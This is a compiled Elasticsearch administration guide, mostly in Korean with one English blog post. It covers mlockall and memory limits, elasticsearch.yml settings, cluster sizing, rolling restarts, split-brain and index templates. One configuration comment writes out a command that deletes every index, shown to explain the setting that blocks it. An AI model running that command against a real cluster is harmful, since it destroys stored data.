bootstrap.mlockall: true

Elasticsearch가 실행된후 해당 옵션이 성공적으로 적용되었는지 확인은 다음과 같이 수행할 수 있다.

curl http://localhost:9200/_nodes/process?pretty

만약 mlockall이 false로 설정 되어 있다면 mlockall요청이 실패 했음을 의미한다. 이 이유는 Linux/Unix시스템에서 EL이 메모리 lock권한을 가지고 있지 않은 경우 발생한다.
이것은 ulimit -l unlimited 값을 root권한으로 지정하면 가능하다.
mlockall이 실패할 수 있는 또 다른 이유는 /tmp 디렉토리가 noexec옵션으로 마운트 된 경우에 가능성이 있다. 이것은 Elasticsearch를 실행할때 옵션을 선택하여 temp 위치를 변경하는 것으로 해결이 가능하다.

./bin/elasticsearch -Djna.tmpdir=/path/to/new/dir

# mlockall은 JVM이나 shell session을 종료시킬 수 있는데 이것은 가용한 용량보다 더 많은 메모리를 할당하고자 하는 경우 발생될 수 있다.

Elasticsearch Settings

elasticsearch설정 파일은 ES_HOME/config 폴더 아래에 있다. 폴더는 2개의 파일이 있으며, elasticsearch.yml로 Elasticsearch 설정을 하기 위한 파일과, logging.yml로 로기을 설정하기 위함이다.

설정 포맷은 YAML로 되어 있다.

다음은 모든 Base module들의 네트워크를 변경하는 것으로 바인드 시키고 publish를 해준다.

network :
    host : 10.0.0.4

 Paths

사용 환경에서 데이터의 위치와 로그 파일의 위치를 지정하고자 하는 니즈가 있을 것이다.

path :
    logs: /var/log/elasticsearch
    data: /var/data/elasticsearch

Cluster name

실제 환경에서는 절대로 클러스터 이름을 지정하는 것을 빼먹지 말자. 이것은 discover과 auto-join을 위해서 꼭 필요하다.

cluster:
    name: <NAME OF YOUR CLUSTER>

서로다른 환경에서 동일 클러스터 이름을 사용하지 않도록 주의하자. 그렇지 않으면 잘못된 클러스터에 노드가 조인된다. 예를 들면 logging-dev, logging-stage, logging-prod와 같이 클러스터를 나누자.

Node name

기본 노드 이름을 변경하고자 할수도 있다. 각 노드는 노출되는 호스트의 이름이 된다. 기본적으로 Elasticsearch는 랜덤하게 지정된다.

node:
    name: <NAME OF YOUT NODE>

머신의 호스트 이름은 환경 변수 HOSTNAME에 지정된 내역을 따른다. 만약 머신에 하나의 엘라스틱 서치 노드를 수행시킨다면 ${...}을 이용하여 호스트 이름을 지정할 수 있다.

node:
    name: ${HOSTNAME}

내부적으로 모든 설정은 namespaced 구조로 설정된다.
예를 들어 이전에 설명한 node.name으로 지정하여 설정할 수 있다. 이 의미는 설정을 JSON형식으로 쉽게 지정할 수 있다. 만약 JSON형식으로 처리하고자 한다면 elasticsearch.yml을 elasticsearch.json으로 변경하면 된다.

Configuration styles

{
    "network" : {
        "host" : "10.0.0.4"
    }
}

이것은 외부 설정인 ES_JAVA_OPTS를 이용하여 설정할 수 있다.

elasticsearch -Des.network.host=10.0.0.4

다른 옵션은 es.default 이다. prefix가 es.이며 이는 기본 설정을 의미한다. 이값은 명시적으로 설정파일에 지정하지 않으면 기본값으로 설정된다는 의미이다.

다른 옵션은 ${...}을 이용하는 것으로 이것은 환경 변수로 설정된 값을 이용한다.

{
    "network" : {
        "host" : "${ES_NET_HOST}"
    }
}

추가적으로 설정파일에 내역을 저장하지 않고자 한다면 ${prompt.text}혹은 ${prompt.secret} 을 이용할 수 있다. 이는 foreground로 설정값을 입력하라고 묻게 된다.
${prompt.secret} 는 터미널로 입력 하도록 물어본다.

node:
    name: ${prompt.text}

elasticsearch 커맨드를 실행하면 다음과 같은 프롬프트 화면을 보게 된다.

Enter value for [node.name]

# Elasticsearch는 ${prompt.text}혹은 ${prompt.secret}을 설정했을때 백그라운드로 실행하면 elasticsearch는 정상적으로 시작되지 않는다.

Index Settings

인덱스들이 생성되면 각 자신들의 설정을 제공할 수 있다. 예를 들어 다음은 인덱스를 메모리 기반의 저장소로 생성한다. 파일시스템을 생성하지 않고 말이다. 포맷은 YAML이나 JSON으로 지정이 가능하다.

$ curl -XPUT http://localhost:9200/kimchy/ -d \
'
index:
    refresh_interval: 5s
'

인덱스 레벨 설정은 node레벨과 같이 설정이 가능하다. 예를 들어 elasticsearch.yml파일에서 다음과 같이 지정할 수 있다.

index :
    refresh_interval: 5s

이것이 의미하는 바는 각 인덱스는 실행된 특정 노드에서 생성된 것을 획득하며, 이것은 시작시 특별히 지정하지 않으면 설정에 따라 메모리에 인덱스를 저장하게 될 것이다. 즉, 인덱스 레벨의 설정은 노드 설정에 지정된 값을 오버라이딩 한다. 물론 상단 예는 설정의 일부분이다.

$ elasticsearch -Des.index.refresh_interval=5s

모든 인덱스 레벨의 설정값은 각 인덱스 모듈에서 찾을 수 있다.

Loggin 

Elasticsearch는 내부 로깅을 위한 추상화를 제공한다. log4j를 이용한다. 이것은 log4j 설정을 통해서 가능하며 YAML을 이용하여 설정한다. 그리고 로깅 설정 파일은 config/logging.yml 에 지정이 가능하다.
JSON과 properties 포맷도 지정이 가능하다. 로깅 설정 파일은 여러개를 로드 할 수 있다. 이들은 시작시에 하나로 머지된다.
logger 섹션은 자바 패키지를 포함하고 있다. 그리고 각 해당하는 로그 레벨을 지정을 할 수 있다. 이것은 org.elasticsearch 프리픽스를 사용하지 않아도 되도록 한다.
appender 섹션은 로그들의 목적지를 포함한다.

Deprecation logging

추가적으로 elasticsearch는 deprecated된 액션의 로깅을 가능하게 한다. 예를 들어 앞으로 특정 기능을 이관할 필요가 있을때 미리 결정할 수 있도록 해준다. 기본적으로 deprecation로깅은 disabled되어 있다. config/logging.yml파일 에서 DEBUG로 로그 레벨을 설정할 수 있다.

deprecation: DEBUG, deprecation_log_file

이것은 일별 롤링 로그 파일을 로그 디렉토리에 생성한다.

from : https://www.elastic.co/guide/en/elasticsearch/reference/2.1/setup-configuration.html

ElasticSearch: Enable Mlockall in CentOS 7


http://mrzard.github.io/blog/2015/03/25/elasticsearch-enable-mlockall-in-centos-7/

 | COMMENTS

I have recently been wrestling with ElasticSearch/Elastic and how to finally enable mlockall under CentOS 7. You usually will get the “Unable to lock JVM memory (ENOMEM). This can result in part of the JVM being swapped out. Increase RLIMIT_MEMLOCK (ulimit)`.”

These are all the places I made changes to get it to work. Now, I don’t know if some of these steps are skippable (my guess is some of them are), but I got it working i nthe end, and my nodes are now happily showing `mlockall: true“

  • Make sure bootstrap.mlockall: true is uncommented in /etc/elasticsearch/elasticsearch.yml or the appropiate config file for your configuration.

  • Edit /etc/security/limits.conf and add these lines (or edit them if applicable). You usually will want to add them at the very end of the file.

1
2
3
elasticsearch - nofile 65535
elasticsearch - memlock unlimited
root - memlock unlimited
  • Edit /etc/sysconfig/elasticsearch. You will find these values commented, and possibly without values. Change them to these:
1
2
3
4
5
6
7
8
9
# ES_HEAP_SIZE; 30g for my nodes - look up a good value for yours
ES_HEAP_SIZE=30g

MAX_OPEN_FILES=65535
MAX_LOCKED_MEMORY=unlimited
...
# WORK_DIR: Make sure /tmp is not mounted as
# noexec OR put a regular directory here
WORK_DIR=/tmp/elasticsearch
  • Edit /usr/lib/systemd/system/elasticsearch.service and make sure LimitMEMLOCK is uncommented and set to infinity
1
2
3
4
# See MAX_LOCKED_MEMORY in sysconfig, use "infinity"
# when MAX_LOCKED_MEMORY=unlimited
# and using bootstrap.mlockall: true
LimitMEMLOCK=infinity
  • Edit /etc/init.d/elasticsearch and add su $ES_USER --shell /bin/bash -c "ulimit -l unlimited" before the actual start of ES, this is more or less how it looks in mine:
1
2
3
4
echo -n $"Starting $prog: "
# if not running, start it up here, usually something like "daemon $exec"
su $ES_USER --shell /bin/bash -c "ulimit -l unlimited"
daemon --user $ES_USER --pidfile $pidfile $exec -p $pidfile -d -Des.default.path.home=$ES_HOME -Des.default.path.logs=$LOG_DIR -Des.default.path.data=$DATA_DIR -Des.default.path.work=$WORK_DIR -Des.default.path.conf=$CONF_DIR

After I had everything in place, I restared my nodes and now they all show mlockall: truewhen checked with curl http://localhost:9200/_nodes/process?pretty

Hope this helps someone!


Production 환경 구성하기

본 문서는 Elasticsearch를 로그 수집기로 사용할 경우에 클러스터를 구성하고 인덱싱 위주의 설정을 하는 데에 중점을 두고 있다. 로그를 전달하는 Logstash류의 기술이나 수집한 로그의 사용에 관한 부분은 포함하지 않고 있다.
Elasticsearch를 실전에서 사용할 경우, 특히나 단위시간당 로그 수집량이 꽤 많을 것이라 예상된다면 노드 한 대 짜리 클러스터로는 부족할 것이고,각 노드의 Elasticsearch 실행도 기본 설정 만으로는 부족한 부분이 많을 것이다. 노드 몇 대 짜리 클러스터를 구성해야 할 지, 인덱스는 일별, 주별 어떤 단위로 쌓을 것인지 등등을 미리 고민하여 적절한 클러스터를 구성하고 알맞은 설정을 할 필요가 있다.


하드웨어 준비

어떤 서버를 몇 대나 사용할 것인지를 정하기 위해서, 쌓게 될 데이터의 양과 보관할 기간을 예측해야한다. 또한 각 하드웨어의 구성요소가 Elasticsearch에서 어떻게 사용되는 지를 아는 것도 도움이 될 것이다.

- INPUT

단위시간 당 로그의 양은 인덱싱에 영향을 주는 부분이므로 CPU와 메모리 등의 결정에 필요하다.

서버 사양의 정확한 결정을 위해서는 준비된 단위서버에서 받을 수 있는 최대치를 확인하고 차츰 늘려가는 방식을 사용할 수 있다.
다만, 현실적 이유로 우리 팀은 여유있게 클러스트를 우선 구성하고 차츰 줄여가는 방식을 사용했다.

로그를 며칠 분을 쌓을 것인지 정하는 것은 디스크 사양을 결정하는 데 도움이 된다.

클러스터의 총 데이터 양은 replica까지 고려해야 한다.  
예를 들어, replica 하나를 사용하게 되면 실제 받는 데이터의 두 배가 총 예측 데이터 양이 된다.
- 메모리

Elasticsearch에서 가장 중요한 하나만 꼽으라면 바로 메모리이다.

  • 권장 크기 : 16GB~64GB.

    • 일반적으로 서버 전체메모리의 반을 Elasticsearch에서 사용할 JVM Heap에 할당하는 것이 권장된다.

    • 메모리야 많을 수록 좋겠지만 JVM이 사용하는 트릭(compressed oops)이 32GB 아래에서 사용되는 제약이 있어서 그 두 배인 64GB의 최대 권장값을 가지게 되었다.

  • 메모리 64GB 이상의 아주 좋은 서버를 사용하게 되었을 경우,

    • 한 서버에서 여러 노드를 구성한다.

    • 로그 수집기가 아닌, full-text 검색을 많이 하는 시스템일 경우 Elasticsearch에는 max값인 64GB만 할당하고 나머지는 OS cache에 사용되도록 한다.

- CPU

더 빠른 속도와 더 많은 core 사이에서 갈등이 되는 상황이라면, multicore가 주는 concurrency가 더 이점이 많다고 볼 수 있다.

- 디스크

로그 수집기로서의 Elasticsearch는 indexing-heavy type이기때문에 디스크가 두 배로 중요하다.

  • SSD가 spinning disk보다 좋다. (하지만, 우리 팀은 가격과 AWS resource 제한의 압박으로;;;)

  • (노드 하나 당 디스크의 크기) = (보관 기간 동안의 데이터 총량) * (index.number_of_replicas + 1) / (노드 수)

  • RAID를 구성할 때는 RAID0 로 하는 것이 좋다.

    • 인덱싱(쓰기) 성능이 좋아진다.

    • High availability는 Elasticsearch의 자체 replica로 해결 가능하다.

    • 설정에서 path.data를 여러 개 지정해서 software raid를 사용할 수도 있다. path.data: /mnt/first,/mnt/second 또는 path.data: ["/mnt/first", "/mnt/second"]

  • NAS는 되도록 피한다. (느리고, SPOF이다.)

- 네트웍
  • multicast vs. unicast

    multicate가 기본 설정인데, 노드 간에 cluster.name이 일치하는 서로를 UDP ping을 통해 알아서 찾기 때문에 편리한 점이 있지만, 동시에 그것이 단점이 되기도하므로 개발용에서만 적합하다.
    즉, 안정된 production 환경의 클러스터에 원치 않는 노드의 추가로 불필요한 샤드 rebalancing이 일어나고 예기치 않은 성능 감소가 발생할 수 있다. 자동화가 만능은 아니다.
    production에서는 unicast를 쓰도록 discovery.zen.ping.multicast.enabled: false로 끄고 노드 추가시마다 discovery.zen.ping.unicast.hosts: ["host1", "host2:port"]와 같은 형식으로 클러스터에 있는 host 정보를 하나 이상 입력하여 클러스터에 포함되도록 한다.

  • 노드 간의 통신이 빨라야 하는 것은 기본이므로 한 클러스터의 노드들을 여러 data center에 배치하지 않는 것이 좋다.

- 클러스터
  • scale-up vs. scale-out
    기본적으로는 scale-out이 Elasticsearch의 지향점과 더 맞다.
    너무 좋은 서버는 리소스의 낭비가 크고 확장성 면에서도 유연함이 떨어지기 때문이다.
    하지만, 너무 가벼운 서버는 수천대가 필요할 수도 있다.
    결론은, 적당한 성능을 잘 선택하라는 이야기 (말이 쉽지)
    

각 노드에 Elasticsearch 설치

(설명은 ubuntu 12.04 기준)

  • Java 7 이상 설치 : oracle jdk나 openjdk 모두 상관은 없는데, oracle jdk는 debian계열 패키지 공식 지원을 끊었다. (공식 문서 상으로는 Java 8 update 20 or later, or Java 7 update 55 or later 를 추천)

    sudo apt-get update
    sudo apt-get install -y openjdk-7-jdk
    
  • Elasticsearch 최신버전 설치 (현재시점 1.4.2)

    wget https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.4.2.deb
    sudo dpkg -i elasticsearch-1.4.2.deb
    
  • /etc/init.d/elasticsearch 수정 권장 항목

    Elasticsearch 실행을 위한 OS 환경설정을 도와주는 옵션이다. 서버 재시작 시에도 Elasticsearch가 자동으로 실행되도록 하려면 아래와 같이 서비스 등록을 한다.
    sudo update-rc.d elasticsearch defaults 95 10

    ES_HEAP_SIZE=16g  
    # 위의 메모리 부분에서 언급했듯이 서버 메모리의 반을 할당하는 것이 권장된다.
    
    MAX_LOCKED_MEMORY=unlimited  
    # 메모리 스왑 방지를 위해 `bootstrap.mlockall: true` 설정을 하는 경우 이 값을 unlimited로 주어야 한다.
    
    MAX_MAP_COUNT=262144  
    # `default 65535` : 너무 작은 값은 out of memory exception을 내기 쉽다.  
    # deb 패키지로 설치한 경우에는 262144가 기본으로 잡혀있다.
    
  • /etc/elasticsearch/elasticsearch.yml 수정 권장 항목

    아래 나열된 항목 외에도 상황에 맞게 설정이 필요한 부분이 많다. 많은 설정값은 cluster settings update API나 index settings update API를 통해 서버 재시작이 필요 없는 dynamic update가 가능하기도 하다.

    cluster.name: test_cluster
    # 지정한 이름으로 노드들이 뭉치게 된다.  
    # 설정하지 않으면 기본 설정으로 Elasticsearch를 띄우는 모든 노드가 의도치않게 같이 묶일 수 있다.
    
    node.name: test_node01  
    # 설정하지 않으면 Elasticsearch가 적당한 이름을 지어주지만, 내 노드 이름은 내가 지어주도록 하자.
    
    node.max_local_storage.nodes: 1  
    # 기본적으로 Elasticsearch 프로세스 수 만큼 같은 서버에서 여러 노드를 띄울 수 있다.  
    # production에서는 이 값을 1로 주어 한 서버에 하나의 노드만 띄우도록 한다.
    
    path.data: /mnt/elasticserach/data  
    # 각 샤드의 파일들이 저장될 위치를 지정한다.  
    # 위의 디스크 부분에서 언급했듯이 여러개를 지정해서 software RAID0 처럼 이용할 수 있다.
    
    path.logs: /mnt/elasticsearch/log  
    # 로그 역시 기본 저장 위치를 변경할 수 있다.  
    # 기본적으로 날짜별로 로그가 나뉘어지기는 하나 rotating이 되지는 않는다.  
    # 디스크 공간을 위해서는 오래된 로그를 지워줄 필요가 있다.
    
    bootstrap.mlockall: true  
    # 메모리 swap 방지를 위한 매우 중요한 옵션이다.  
    # 아래 api 호출로 설정이 잘 되었는지 확인할 수 있다.  
    # >> curl localhost:9200/_nodes/process?pretty
    # 확인 결과 false 로 나온다면 max locked memory 값이 작기 때문일 것이다.  
    # >> ulimit -l unlimited  
    # 처럼 OS에서 직접 설정 할 수도 있고, 위에서 언급했듯이 /etc/init.d/elasticsearch 에서 MAX_LOCKED_MEMORY 값을 unlimited로 설정해서 실행하는 것으로 해결할 수 있다.
    
    http.port: 12345  
    # 기본값은 9200이고, 꼭 바꿀 필요는 없다.   
    # 우리 팀에서 최근에 새로 구성한 클러스터에서는 임의의 값으로 port를 바꿨다.  
    # dynamic scripting을 이용한 공격성 _search 요청에 대한 회피의 목적으로 알려진 9200 포트를 사용하지 않으려는 의도인데, 자세한 내용은 Security 관련 섹션에서 다루기로 한다.
    
    discovery.zen.ping.multicast.enabled: false  
    # production에서는 multicast의 단점이 많으니 false로 끄고 unicast를 사용하도록 한다.
    
    discovery.zen.ping.unicast.hosts: ["host1", "host2:port"]  
    # unicast에서는 클러스터를 찾기 위해 적어도 하나의 노드에 대한 host 정보를 입력한다.  
    # 첫 노드일 경우에는 입력하지 않아도 된다.
    
    action.auto_create_index: true  
    # [create index API](http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/indices-create-index.html)를 사용해서 인덱스를 생성하지 않았더라도 첫 document를 받을 때 자동으로 인덱스를 만들어주는 옵션이다. 기본값은 켜져 있다.
    
    index.mapper.dynamic: true  
    # [put mapping API](http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/indices-put-mapping.html)를 사용하지 않았더라도 자동으로 field type mapping을 만들어주는 옵션이다. 기본값은 켜져 있다.
    
    action.disable_delete_all_indices: true  
    # >> curl -XDELETE 'http://localhost:9200/_all/'  
    # 를 통해 모든 인덱스를 삭제하는 것을 막는다.
    
    indices.fielddata.cache.size: 75%  
    # fielddata cache는 주로 sorting이나 aggregation에 사용된다.  
    # 이 작업은 모든 field value가 메모리에 올라가게 되므로 꽤 expensive하여 `기본값은 unbounded`로 설정되어있다.
    # 하지만 이 값이 아래의 indices.breaker.fielddata.limit 보다 크게 되면 너무 큰 데이터 작업 시에 CircuitBreakingException이 발생하게 된다.
    # 또한, 이 값은 서버 재시작을 해야 적용이 되므로 처음에 띄울 때 적절한 값을 줄 필요가 있다.
    # 75% 라고 정하면 JVM heap의 75%를 의미하게 되고, 절대값으로 12GB 처럼 줄 수도 있다.
    
    indices.fielddata.cache.expire: -1
    # fielddata cache 만료를 5m과 같은 식으로 지정해 줄 수 있는 옵션인데 기본값은 -1로 사용하지 않는 것으로 설정되어있다.
    # 공식 문서에서는 이 옵션은 끔찍한 성능 저하만 주는 절대 사용하지 말아야 할 옵션으로 규정하고 있다. 사용하지 말자.
    
    indices.breaker.fielddata.limit: 77%
    # circuit breaker는 OutOfMemory Error를 막기 위해 메모리를 얼만큼 사용할 지를 정의하는 기능이다.
    # 1.4.0beta1 이전에는 fielddata circuit breaker만 있었으나 이후에 request circuit breaker가 추가되었다.
    # `기본값은 60%`이고, indices.fielddata.cache.size 보다 크도록 설정해야한다.
    
    indices.breaker.request.limit: 50%
    # request circuit breaker는 request마다 aggregation 등의 data structure가 사용할 메모리의 양을 제한하는 기능이다.
    # Elasticsearch의 heap은 바로 위의 fielddata와 이 request circuit breaker, 그 외에 인덱싱 메모리 버퍼, filter cache, 열려있는 인덱스에 사용되는 Lucene data structure 등등 다양한 요소와 공유가 되므로 이 circuit breaker limit에 적당한 값을 설정할 필요가 있다.
    # 과도하게 높게 잡으면 잠재적 OOM exception을 동반한 시스템 다운을 만날 수 있고, 너무 낮게 잡으면 쿼리가 실패할 확률이 높아진다. 물론, 시스템 다운보다는 쿼리 실패가 낫기 때문에 보수적인 설정으로 시작하는 것이 좋다.
    # `기본값은 40%`이다.
    
    indices.breaker.total.limit: 80%
    # 이 값은 fielddata와 request circuit breaker를 합쳐서 제한을 거는 기능이다.
    # `기본값은 70%`이다.
    
    cluster.routing.allocation.disk.watermark.low: 90%
    # 디스크 용량 기반으로 shard allocation을 도와주는 설정이다.
    # 디스크 사용량이 설정값을 넘으면 해당 노드에는 shard를 allocation하지 않는다.
    # `기본값은 85%`이다. 절대값으로 500mb 처럼 설정할 수도 있는데, 이 때에는 남은 디스크 용량을 의미한다.
    
    cluster.routing.allocation.disk.watermark.high: 95%
    # 디스크 사용량이 설정값을 넘어가면 해당 노드의 샤드를 다른 노드로 relocation한다.
    # `기본값은 90%`이다. 마찬가지로 절대값으로 정할 경우는 남은 용량 기준이 된다.
    
    cluster.routing.allocation.balance.shard: 0.1
    # 클러스터의 shard balancing 관련 옵션중 하나이다.
    # 이 값이 커지면 모든 노드에 샤드의 개수를 균등하게 분배하려는 경향이 강해진다는 것을 의미한다. 즉, 가중치 값이다.
    # `기본값은 0.45`이다.
    
    cluster.routing.allocation.balance.index: 0.9
    # 역시 가중치 인자로서 이 값이 커지면 각 인덱스에서 샤드의 개수를 균등하게 분배하려는 경향이 강해진다는 것을 의미한다.
    # 이 값은 바로 위의 cluster.routing.allocation.balance.shard와 합해서 1.0이 되어야 한다.
    # `기본값은 0.55`이다.
    
    cluster.routing.allocation.balance.primary: 0.0
    # 이 값은 Elasticsearch 1.3.8에서 deprecated 되었다.
    
    cluster.routing.allocation.balance.threshold: 0.8
    # balancing action이 일어나도록 하는 threshold 값이다. 작을수록 balancing이 일어날 확률이 높아진다.
    # `기본값은 1.0`이다.
    
    cluster.routing.allocation.cluster_concurrent_rebalance: 2
    # shard rebalancing이 동시에 몇 개 까지 허용되는 지를 결정하는 값이다.
    # `기본값은 1`이다. 제한을 없애려면 -1 을 준다.
    
    indices.store.throttle.max_bytes_per_sec: 20mb
    # 초당 설정값을 넘는 용량의 segemnt merge는 일어나지 않도록 throttle 시키는 옵션이다.
    # `기본값은 20mb`인데, spinning disk 기준이므로 SSD를 사용하고 있다면 100~200mb 정도로 늘려주는 것이 좋다.
    
    index.merge.scheduler.max_thread_count: 1
    # 인덱스 당 동시에 디스크에 access할 수 있는 thread의 수이다.
    # `기본값은 Math.min(3, Runtime.getRuntime().availableProcessors() / 2)`이다.
    # 기본값은 SSD로 구성된 시스템에 권장되고, spinning disk를 사용할 경우에는 concurrent I/O에 취약하므로 값을 1로 줄여주는 것이 좋다.
    
    index.translog.flush_threshold_size: 1GB
    # translog에 설정값 이상이 쌓이면 flush된다.
    # `기본값은 200MB`인데, 덜 자주 flush되도록 값을 늘려주면 인덱싱 성능에 도움이 된다.
    
    http.cors.enabled: true
    # cross-origin resource sharing 관련 옵션이다.
    # Elasticsearch 1.4 이상에서는 `기본값이 false`이므로, Kibana를 사용할 예정이라면 이 옵션을 켜준다.
    
    http.cors.allow-origin
    # resource sharing을 허용할 origin을 지정한다.
    # `기본값은 /.*/`이고 origin을 제한하기 위해서는 /https?:\/\/localhost(:[0-9]+)?/ 이런 식으로 regular expression을 용도에 맞게 만들어주면 된다.
    

유지보수

설치가 잘 끝난 후에 필요한 작업들을 알아본다.

- GUI

기본적으로 서버가 실행 된 것은 curl 'http://localhost:9200' 으로 확인할 수 있다. 더불어 노드나 클러스터의 상태를 확인하는 API로 더 자세한 정보를 확인 할 수도 있다. 하지만 GUI가 있다면 훨씬 많은 도움이 될 것이다.

  1. elasticsearch-head

    http://mobz.github.io/elasticsearch-head/
    대부분의 기능을 GUI를 통해 쉽게 사용할 수 있는 web frontend tool이다.
    Elasticsearch의 plugin으로 설치할 수도 있고, 웹서버에 index.html을 물려서 stand-alone으로 사용할 수도 있다.

    • plugin

      download 필요 없이 elasticsearch/bin/plugin -install mobz/elasticsearch-head라는 명령 한 줄이면 설치가 되지만, Elasticsearch API 도메인과 포트를 공유하게 되기 때문에 보안 설정이 된 환경이라면 방화벽 내에서만 실행이 가능하게 된다.

    • stand-alone

      조금 불편하더라도 클러스터 외부 서버에서 웹서버를 사용해 물리면 접속 인증이나 접근 제한 등 다양한 보안 설정을 하기 쉽고, 도메인 설정도 간편해진다.

  2. Marvel

    http://www.elasticsearch.org/overview/marvel
    elasticsearch-head보다 고급스러운, Elasticsearch에서 직접 만든 plugin이다. Kibana3 UI와 유사한 Dashboard를 통해 클러스터의 하드웨어 상황까지 더 예쁘고 자세하게 확인할 수 있다.
    다만, Production license는 유료로 구매를 해야 한다.
    Marvel용 메트릭 등의 데이터는 역시 Elasticsearch에 저장하게 되므로 개발용으로 사용할 때에는 Marvel용 클러스터를 따로 구성해야한다. (하루 치 Marvel용 인덱스 양만해도 상당해서 디스크 공간이 꽤 필요하다.)

한 줄 요약,
elasticsearch-head를 stand-alone으로 설치하고 웹서버에서 basic auth 정도라도 걸자.

- Rolling restart

장애 상황이거나 Elasticsearch 버전업, 또는 dynamic setting update가 불가능한 설정의 변경이 필요할 경우 등 클러스터를 재시작해야 할 경우가 종종 있다.
일반적으로 동작상에 주는 영향을 최소화하도록 다음과 같은 순서가 권장된다.

  1. shard reallocation 끄기

    curl -XPUT localhost:9200/_cluster/settings -d '{
            "transient" : {
                "cluster.routing.allocation.enable" : "none"
            }
    }'
    

    꼭 필요한 작업은 아니지만 이걸 끄지 않으면 노드가 클러스터에서 빠졌다가 다시 붙을 때마다 shard reallocation이 일어나서 불필요한 I/O 낭비, 시간 낭비가 발생한다.

  2. 노드 하나 shutdown

    curl -XPOST 'http://localhost:9200/_cluster/nodes/nodeId1/_shutdown'
    

    혹시, dedicated master node(즉, node.data: false이고 node.master: true인 노드)가 있다면 다른 노드들보다 먼저 끄도록 한다.

  3. 필요한 작업 수행

    설정 변경이나 Elasticsearch 버전업 등 필요한 작업을 하고 서버를 다시 띄운다.

  4. shard reallocation 다시 켜기

    다시 띄운 노드가 클러스터에 합류된 것을 확인한 후, 1번을 수행했었다면 reallocation을 다음과 같이 다시 켜준다.

    curl -XPUT localhost:9200/_cluster/settings -d '{
            "transient" : {
                "cluster.routing.allocation.enable" : "all"
            }
    }'
    
  5. 기다리기

    모든 shard가 모든 노드에 배치되기를 기다린다.

  6. 반복

    남은 노드들에 1~5를 반복한다.

major version을 업그레이드 할 경우에는 rolling restart로는 안되고 전체 클러스터를 내린 후 버전을 올려서 다시 실행하는 full cluster restart가 필요하다.

- Dynamic setting

cluster와 index의 여러 옵션 중에는 서버 실행중에 API를 통해 dynamic하게 설정 변경을 할 수 있는 경우가 많다. 그런 이유로 서버 시작 시 elasticsearch.yml을 통해 충분히 적용을 못 한 부분이 있다면 어느 정도는 서버 재시작 없이 튜닝이 가능하다. 또한, 클러스터에 노드가 추가될 때마다 변경이 필요한 설정들도 있다.

  • persistent vs. transient

    클러스터 설정 시에는 아래 예제처럼 persistent나 transient를 지정할 수 있는데, persistent는 full cluster restart가 되어도 변하지않고 노드의 elasticsearch.yml보다도 우선하도록 하는 설정이다. transient는 노드의 재시작 시에는 풀리지 않지만 full cluster restart가 되면 elasticsearch.yml의 설정값이나 default 값으로 돌아가게 된다.

    curl -XPUT localhost:9200/_cluster/settings -d '{
        "persistent" : {
            "discovery.zen.minimum_master_nodes" : 2 
        },
        "transient" : {
            "indices.store.throttle.max_bytes_per_sec" : "50mb" 
        }
    }'
    
  • Split-brain

    마스터 노드 선출에 문제가 생겨 마스터가 둘이 되면서 데이터가 갈려버리는 현상이다. 예를 들어 두 개의 노드로 구성된 클러스터에서 서버는 정상인데 서로의 connection이 끊어졌을 경우 마스터가 아니었던 노드도 상대가 연결이 끊어졌으니 스스로를 마스터로 선출하면서 두 노드가 각각의 클러스터로 갈려버리게 되는 것이다. 이 때에 같은 이름의 인덱스에서 데이터가 갈라진 것이 되므로 복구를 하게 되어도 한 쪽은 포기를 해야한다.
    이 현상을 피하기 위해서 가장 중요한 옵션은 discovery.zen.minimum_master_nodes이다. 기본값은 1인데, 보통은 (클러스터 노드 수)/2 + 1의 값이 권장된다.
    여기서 노드 두 개 짜리 클러스터의 경우, discovery.zen.minimum_master_nodes: 2(2/2 + 1 = 2)로 설정하면 split-brain은 피할 수 있겠으나 서로 연결이 끊어진 경우 각자가 스스로 마스터가 되지 못하므로 클러스터 자체의 장애 상황이 된다.
    그러므로 가장 좋은 해결책은 클러스터를 노드 두 개로 구성하지 않는 것이다. 하드웨어의 부담이 있다면 노드 하나는 node.data: false로 주어 마스터 선출에만 참여할 수 있도록 한다.

- Template

로그 수집용으로 time-series 인덱스가 생성되는데 미리 create API를 사용할 때 인덱스 setting이나 mapping을 적절히 적용하도록 시스템을 구현할 수도 있지만, template을 미리 정의하여 같은 규칙을 갖는 인덱스의 설정을 공유하도록 할 수도 있다.

  • Sample

    curl -XPUT http://localhost:9200/_template/template_sample -d '
    {
       "template" : "sample-*",
       "order" : 1,
       "settings" : {
           "number_of_shards" : 6,
           "number_of_replicas" : 1
       },
       "mappings" : {
           "_default_" : {
               "_source" : { "enabled" : true },
               "_ttl" : { "enabled" : true, "default" : "4w" }
           },
           "test01" : {
               "numeric_detection": "true",
               "properties" : { 
                 "host" : {"type": "string", "index": "not_analyzed"},
                 "ip" : {"type": "string", "index": "not_analyzed"},
                 "msg" : {"type": "string", "index": "not_analyzed", "doc_values": true}
               }
           }
       }
    }
    '
    
    • 'sample-'의 prefix를 갖는 인덱스가 생성될 때에는 위의 설정과 mapping scheme가 적용된다.
    • 만약 여러 템플릿이 하나의 노드에 겹쳐서 적용되게 될 경우, order 값이 높은 템플릿이 낮은 것을 overwrite한다.
    • number_of_shards 값은 인덱스가 생성되면 변경이 불가능하므로 잘 정의해 줄 필요가 있다.
    • mappings는 type별로 구분이 된다. type은 RDBMS의 table이라고 생각하면 된다.
    • _default_는 모든 type에 적용되는 설정이다.
    • _source를 끄면 인덱싱 될 때의 실제 JSON 값을 저장하지 않는다. 저장 공간이 더 소모될지라도 Kibana에서 데이터 확인을 편하게 하기 위해 우리 팀은 _source 값은 켠다.
    • _ttl은 지정한 기간이 지난 document를 삭제하는 기능이다. 인덱스의 모든 document가 지워져도 인덱스가 지워지지는 않는다.
    • 웬만한 string type의 field는 not_analyzed로 설정하는 것이 좋다. 우리는 검색 시스템이 아니라 로그 수집 시스템을 구축한 것이므로 searching보다 indexing이 중요하다.
    • analyzed string field는 terms aggregation 쿼리를 할 경우 원치 않는 결과가 나올 수 있다.
    • doc_values를 true로 주면 그 field는 fielddata cache를 memory를 쓰지 않고 disk를 사용하게 된다.
- Large data import

많은 데이터를 한꺼번에 넣을 때에는 _bulk request를 사용한다. 이 때에 _bulk request 한 번에 넣을 데이터의 양을 적절히 주는 것이 중요하다. 10MB 정도부터 차츰 늘리면서 넣어보는 것이 좋다. 결국 그 request data가 메모리에 올라가게 되므로 너무 크지 않은 데이터 묶음을 주는 것도 중요하지만 클러스터의 한 노드에만 요청이 몰리지 않도록 하는 것도 매우 중요하다.
